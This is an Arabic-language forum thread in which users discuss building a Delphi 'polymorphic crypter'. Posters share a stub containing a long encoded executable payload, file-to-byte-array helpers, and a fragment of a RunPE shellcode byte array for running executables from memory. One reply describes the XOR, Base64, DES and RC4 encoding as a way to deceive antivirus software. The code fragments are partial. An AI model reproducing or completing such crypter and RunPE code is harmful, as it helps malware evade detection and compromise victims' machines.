دخول

PEPSI2 · 15-01-2015, 01:11 PM

السلام عليكم ورحمة الله وبركاته

ماهى طريقة تحويل ملف تنقيذى exe لبرنامج دلفى مثل برنامج Li0n Polymorphic Crypter

Agmcz · 16-01-2015, 01:46 AM

وعليكم السلام
هل تقصد شيء مثل هذا

PHP كود :
function File2ByteArray(const FileName: string; out ByteArray: PByteArray): Boolean;
var
  hFile: HWND;
  dwSize, dwRead: DWORD;
begin
  Result := False;
  hFile := CreateFile(PChar(FileName), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if hFile = INVALID_HANDLE_VALUE then
    Exit;
  ByteArray := AllocMem(dwSize);
  ReadFile(hFile, ByteArray^, dwSize, dwRead, nil);
  Result := True;
  CloseHandle(hFile);
end;

(*
// Usage:
var
  ByteArray: PByteArray;
begin
  if File2ByteArray(ParamStr(0), ByteArray) then
    ShowMessage(IntToHex(ByteArray[0], 2)); // Show First Byte
end;
//*) 

PEPSI2 · 16-01-2015, 06:19 AM

لا اخى اقصد مثل هاد

كود :
program new;

uses Windows,functions;


function getpart1:string;
begin
result:=
'tSe0a9EGa92Ka92GRs+Ga2YGa92Ga92Gq92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92GA92Ga9wFAfwG99bTiIYHt5snnFZvux3Wul/tul7ziFFn/lx/vB3ozR3YvVwm+VwmrD/3iFt/zFM+dPsQj92Ga92Ga90dWfTBO+Fv66FZ+HXZu/aOYlpq66BZ+HZ2+VFuO+Fv692Ga92Ga92Ga92Ga92Ga92Ga92Ga92GaC3La93SaPE'+
'GAkuen92Ga92Ga92GS92VaPkHbf2Ge92GaB2Ga92Ga90WW92Ga82Ga93Ga92GaD2Ga82Ga920a92Ka92GaP2Ga9IGa92Ga92GaF2Ga920a91fe96Gaf2Ga92GW92GW92Ga920a920a92Ga92GW92Ga92Ga92Ga92GzB+GaBYGa92Gm92GB9YGa92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga9'+
'2Ga92Ga92Ga92uaf2Gi92Ga920a93Ka92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92GlkJrwEIGa928i92Ga82Ga92Wa92GW92Ga92Ga92Ga92Ga92Gi92GyBxqyUJna92G09IGa93Ga92Ga92Ga92Ga92Ga92Ga92Ga92GaD2Ga52+ukFYyv2Ga2oOa92Gm92Ga82Ga93Ga92Ga92Ga92Ga92Ga93Ga93GKuyWsO2Ga92Ga92Ga92GaDt3njB6t'+
'QQWljJSt92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92G'+
'a92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92'+
'Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga9'+
'2Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga'+
'92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92G'+
'a92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92'+
'Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga9'+
'2Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga'+
'92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92G'+
'a92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92'+
'Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga9'+
'2Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga'+
'92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92G'+
'a92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92'+
'Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga9'+
'2Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga'+
'92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92G'+
'a92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92'+
'Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga2VWdlPQ39tsea6Tzh/WdlPhxPxsRJ2Gza/NdlPBxP/snf+UzdaVdlRDG9/s2KwTzeZ6dlPpIftsDAMGzWhzdlQGa92Ga92Ga92Ga92Ga92GRxM4WD2GRxMWWD2GRxM0WD2GRxMCWD2GRxMOWD2GRx'+
'MqWD2GRxMaWD2GRxMSWD2GRxMGWD2GRxMmWD2GRxMyWD2GRxMiWD2GRxMKWD2GRxM8WD2GRxMuWD2GRxMeWD2G+5Y1q91uO6zlRv2Ga92GaA2Ga93Ga92Ga92Ga6yCuWKRpt/JDfVMQXfCgucGa92Ga92Ha92Ga92Ga92GmEB/+lNxvA6Ga92Ga92Ga92Ga92Ha96G98RGa92Ga91lRszlRszlRv2Ga92eXz2GiD3Ga96Ga93OWT2Gb92ma92Ga'+
'93qRHULg87GaEI0q93gWD2G483Ga1Q0q92yiz2GAhopq90fD83Ga6znbf2Ga32Dq92Na92G/8tGa9UGa92qZT2Gbv2Ga4oCq92Na92G68pGa9UGa93GZD2Gbv2Ga6IBq92Na92GH8hGa9UGa93mYj2Gbv2Ga6o9q92Na92G88dGa9UGa93yYT2Gbv2GaBI9q92Na92GJ8ZGaCRIfR5WZxgGa92Ga92Ga92Ga92Gxf2Ga92Ga92Ga92Ga92Qa9cK'+

**onexite** · 16-01-2015, 06:53 AM

PHP كود :
Function mFileToStr(Ruta: string): string;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(Ruta), OF_READ);
uBytes:= GetFileSize(sFile, nil);
SetLength(Result, uBytes);
_lread(sfile, @result[1], uBytes);
_lclose(sFile);
end; 

لاكنك تحتاج الى Shellcode RunPE

Agmcz · 16-01-2015, 02:49 PM

يجب أن تكون على دارية بما تفعل
إذا كنت ستشغل ملف في ذاكرة أي ما يسمى RunPE
أعتقد ان ردي صحيح لما طلبت ولو اختلف المضمون
وما وضعته ما هو إلى تمويه وخدع لبرامج الحماية (XOR وماشبهها واستعمال Base64, DES, RC4)
AntiVirus Bypass.

يعني في الأخير عند تشغيل سترجع بيتات الملف إلى حالتها وإلا فلن تشتغل العملية

PEPSI2 · 17-01-2015, 09:25 AM

كيف يتم عمل بـرنامج يقوم بتـحويل الملف التنفيذى الى shellcode runpe

**onexite** · 17-01-2015, 10:19 AM

PEPSI2 كتب :كيف يتم عمل بـرنامج يقوم بتـحويل الملف التنفيذى الى shellcode runpe

في المرفقات يوجد مثال
شاهد هذا الموضوع

PEPSI2 · 18-01-2015, 03:29 PM

تمام أخي
كيف يتم عمل الملف التنفيذي للمشروع هكذا

كود :
unit _Patch;
Interface
Uses Windows;
type
TbytArray = array[0..63487] of byte;
var
RunPEProc :procedure(arr:TbytArray);
arrRunPE:  array[0..693] of Byte = (
85,139,236,129,196,164,250,255,255,137,69,252,232,27,2,0,0,137,133,204,253,255,255
,187,242

**onexite** · 18-01-2015, 04:17 PM

ابحث في هذه المواضيع

PEPSI2 · 18-01-2015, 06:40 PM

onexite كتب :ابحث في هذه المواضيع

عذرا - لم يتم العثور على ما يطابق بحثك. حاول بطريقة اخرى.

دخول
اسم المستخدم/البريد الالكتروني :
كلمة المرور :	فقدت كلمة المرور ؟
	تذكرني بالمرة القادمة